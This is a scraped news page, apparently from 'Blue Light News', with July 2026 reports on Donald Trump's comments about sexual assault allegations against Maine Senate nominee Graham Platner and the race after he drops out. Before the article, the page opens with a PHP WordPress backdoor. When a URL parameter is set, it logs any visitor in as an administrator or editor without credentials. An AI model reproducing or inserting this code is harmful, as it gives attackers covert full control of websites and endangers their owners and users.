// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Trump on Platner: ‘It’s really a question of whether you believe the woman’ – Blue Light News
Connect with us

Congress

Trump on Platner: ‘It’s really a question of whether you believe the woman’

Published

2 hours ago

on

President Donald Trump told reporters that the firestorm engulfing Maine oysterman Graham Platner is “really a question of whether you believe the woman” who accused him of sexual assault.

The remark, made to reporters on Air Force One on Wednesday, was among the president’s first public comments on the Democratic Senate nominee since POLITICO’s report this week that a woman who Platner dated said he forced her to have sex with him five years ago — which he has denied.

Platner has lost significant support across the Democratic Party since the article published. He is expected to speak Wednesday as his campaign publicly battles with the Maine Democratic Party over next steps, should he drop out of the race against GOP Sen. Susan Collins.

My colleague, Megan Messerly, who is traveling with the president en route back to the United States from the NATO Summit, asked Trump whether Democrats should be able to pick a replacement for Platner, who won the Democratic primary last month. The president appeared skeptical and invoked the story of another woman, Lyndsey Fifield, who alleged Platner mistreated her and faced attacks because of her ties to the Republican Party. Fifield did not accuse Platner of sexual assault.

Here’s the full exchange the president had with reporters on Air Force One.

Do you think that the Democrats should be able to pick a replacement for Graham Platner? He’s had all of these new allegations that have come out. Now Democrats are talking about picking a replacement for him. Should they be able to do that? 

Trump: They’re picking what?

A replacement for Graham Platner if he steps out of the race. 

Trump: Well, so he won the primary, right?

And now there are these new allegations. 

Trump: It’s very hard for them to do. It’s really a question of whether you believe the woman. A lot of people say big falsehoods. It’s a — he’s in a bind. He’s in a bind. But should they be able to do it? Well, I guess he’s going to lose. I would imagine he’s going to lose.

It’s very interesting when a Republican woman came out with the same charge, nobody believed her. When this woman came out, everybody believed her.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Top Democratic groups recommit to Maine Senate race after Platner drops out

Published

11 seconds ago

on

July 9, 2026

By

Senate Democrats’ campaign arm is jumping back into Maine and launching a fund to raise money for the party’s new Senate nominee, now that Graham Platner has ended his campaign.

“The DSCC will work tirelessly to ensure the new Democratic nominee has the infrastructure and resources to immediately turn their focus to the general election, and in November we will defeat Susan Collins and win a Senate majority,” said Devan Barber, the executive director of the Democratic Senatorial Campaign Committee.

The move follows DSCC and other groups — including the Democratic National Committee and Senate Majority PAC, a top Democrat-aligned group — abandoning Platner in the wake of a POLITICO report that a woman said he forced her to have sex with him. That would have shifted critical resources away from a race the party has said is a must-win for taking back Senate control.

Now, the DSCC has launched a nominee fund to raise money for whoever will replace Platner on the ballot, according to one person with knowledge of its plans, granted anonymity to share private details. After the party nominating convention, the fund will be transferred directly to the nominee’s campaign.

The Senate Majority PAC also said Wednesday that it is reentering the race and is “committed” to defeating GOP Sen. Susan Collins.

Senate Minority Leader Chuck Schumer — who, alongside DSCC Chair Kirsten Gillibrand, announced earlier this week that the group wouldn’t spend in Maine if Platner was on the ballot — did not mention Platner in a tweet Wednesday about the race.

“Democrats are going to defeat Susan Collins, win Maine, and take back the Senate,” Schumer posted on X.

Continue Reading

Congress

GOP rips Platner on the way out

Published

11 seconds ago

on

July 9, 2026

By

Republicans were quick to condemn Graham Platner after he suspended his campaign, seeking to tie Democrats to his failed candidacy.

Republican National Committee Chair Joe Gruters said that “Democrats rolled in the mud with Platner, and now they are completely stained by their association with this sick monster.”

Alex Latcham, executive director of the Senate Leadership Fund, the super PAC aligned with GOP leadership, said that “at the 11th hour, the Democrat Establishment has tipped the scales against Maine voters in an attempt to salvage their failing midterm strategy.”

National Republican Senatorial Committee regional press secretary Samantha Cantrell added that “regardless of who [Democrats] anoint next, Susan Collins will be re-elected in November.”

Collins is the only Republican seeking reelection this cycle in a state won by former Vice President Kamala Harris in 2024, making Maine one of Republicans’ top defensive states as they seek to retain control of the Senate.

Continue Reading

Congress

Troy Jackson makes his Senate run official

Published

15 minutes ago

on

July 9, 2026

By

Troy Jackson, a progressive former candidate for governor who was an ally of Graham Platner during his campaign, formally launched a bid to succeed him on Wednesday evening.

“I’ve been fighting for that movement my whole life — and I’m sure as hell not backing down now, when this fight is needed most,” Jackson said on X.

A logger who hails from the far-northern part of the state, Jackson has deep ties to organized labor and was endorsed by Sen. Bernie Sanders (I-Vt.) during his run for governor.

Jackson’s statement Wednesday evening was a formality; he had already filed exploratory paperwork with the Federal Election Commission and has been actively campaigning.

The former state Senate president has already nabbed a handful of endorsements and is picking up steam among progressives. A flash poll conducted by Platner’s campaign and published by Blue Light News showed Jackson with a slight lead against Sen. Susan Collins, though it was a one-day survey which isn’t the most accurate way to poll.

Jackson quickly condemned Platner and called on him to drop out on Monday. On Wednesday, Jackson sought to further distance himself from Platner by deleting old social media posts that included him.

Continue Reading

Trending